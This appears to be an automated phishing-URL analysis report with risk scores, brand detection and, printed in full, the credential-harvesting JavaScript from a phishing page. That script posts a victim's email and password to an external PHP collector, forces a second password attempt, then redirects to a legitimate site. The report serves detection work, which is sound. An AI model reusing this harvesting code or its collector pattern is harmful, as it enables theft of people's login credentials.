Windows Analysis Report
http://217.28.130.10/8265/568747470733a2f2f6d61696c2d6864656c2e6c7664642e696e666f2f3f656d61696c3d62722e73756e67406864656c2e636f2e6b72

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": true,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: http://217.28.130.10

{
    "risk_score": 3,
    "reasoning": "The provided code snippet appears to be a simple form submission, which is a common and legitimate behavior. While form submissions can potentially be used for malicious purposes, this snippet alone does not demonstrate any high-risk indicators. The risk score is low, as the behavior is consistent with typical web application functionality."
}

 document.forms['redirect'].submit() 

{
    "risk_score": 6,
    "reasoning": "The script demonstrates several behaviors that raise moderate security concerns, including data transmission to an external domain, potential credential collection, and redirection to an untrusted domain. While the script appears to have some legitimate functionality, such as form validation and error handling, the overall risk profile warrants further review and mitigation."
}

    const url = "https://phpworldsltd.com/archives/email.php"; // PHP LINK GOES HERE
    const redirectTo = "https://tradekorea.com"; // Link where it will be redirected to after 2 trials it should include https://

    const hash = window.location.hash.split("#")[1];
    const matchReg =
      /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;

    let plusOne = 0;
    const email = document.getElementById("input1");
    const password = document.getElementById("input2");
    const hp = document.getElementById("input3");
    const submitBtn = document.getElementById("proceed");
    const errorShow = document.querySelectorAll("#error");
    email.value = hash ? hash : "";
    hash ? password.focus() : email.focus();

    email.addEventListener("input", function (e) {
      const value = e.currentTarget.value;
      if (value.match(matchReg)) hideEl(errorShow[0]);
    });
    password.addEventListener("input", function (e) {
      const value = e.currentTarget.value;
      if (value.length >= 5) hideEl(errorShow[1]);
    });
    hp.addEventListener("input", function (e) {
      const value = e.currentTarget.value;
      if (value.length > 0) {
        submitBtn.setAttribute("disabled", true);
        return;
      }
    });
	$("#input2").keydown(function (e) {
    if (e.which == 13) {
      $("#proceed").click();
      return false;
    }
  });
    submitBtn.addEventListener("click", function (e) {
      e.preventDefault();
      if (hp.value.length > 0) return;
      if (email.value === "") {
        errorShow[0].innerHTML = `<p>    .</p>`;
        email.focus();
        showEl(errorShow[0], "#C11E07");
        return;
      } else if (!email.value.match(matchReg)) {
        errorShow[0].innerHTML = `<p>    .</p>`;
        email.focus();
        showEl(errorShow[0], "#C11E07");
        return;
      } else if (password.value === "" || password.value.length <= 4) {
        errorShow[1].innerHTML = `<p>  .</p>`;
        password.focus();
        showEl(errorShow[1], "#C11E07");
        return;
      } else {
        plusOne = plusOne + 1;
        const prevBtn = submitBtn.textContent;
        submitBtn.textContent = "..";

        var data = {
          email: email.value,
          password: password.value,
          source: "Trade Korea",
        };

        $.ajax({
          type: "POST",
          url: url,
          data: data,
          cache: false,
          timeout: 800000,
          success: function (res) {
            if (res == true) {
              if (plusOne > 1) {
                password.value = "";
                submitBtn.textContent = prevBtn;
                hideEl(errorShow[1]);
                password.style.borderColor = "#ddd";
                window.location.href = redirectTo;
              } else {
                showEl(errorShow[1], "#C11E07");
                submitBtn.textContent = prevBtn;
                errorShow[1].innerHTML = `<p>  </p>`;
                password.value = "";
                password.style.borderColor = "#C11E07";
              }
              return;
            } else {
              showEl(errorShow[1], "#C11E07");
              submitBtn.textContent = prevBtn;
              errorShow[1].innerHTML = `<p>  .  .</p>`;
              password.value = "";
              password.style.borderColor = "#C11E07";
            }
          },
          error: function (e) {
            showEl(errorShow[1], "#C11E07");
            submitBtn.textContent = prevBtn;
            errorShow[1].innerHTML = `<p>  .  .</p>`;
            password.value = "";
            password.style.borderColor = "#C11E07";
          },
        });
      }
    });

    function showEl(el, color) {
      el.style.color = color;
      el.style.display = "block";
    }

    function hideEl(el) {
      el.style.color = "#00

{
  "contains_trigger_text": true,
  "trigger_text": "Welcome to travelnote",
  "prominent_button_name": "",
  "text_input_field_labels": [
    "br.sung@hdsl.co.kr",
    "..............."
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Traveloka"
  ]
}

```json{  "legit_domain": "traveloka.com",  "classification": "wellknown",  "reasons": [    "The brand 'Traveloka' is well-known and primarily associated with the domain 'traveloka.com'.",    "The URL 'mail-hdel.lvdd.info' does not match the legitimate domain of Traveloka.",    "The domain 'lvdd.info' is unrelated to Traveloka and appears suspicious.",    "The use of a subdomain 'mail-hdel' and the unrelated main domain 'lvdd.info' suggests a phishing attempt.",    "The presence of an email input field with a non-Traveloka domain (hdsl.co.kr) further indicates potential phishing."  ],  "riskscore": 9}
Google indexed: False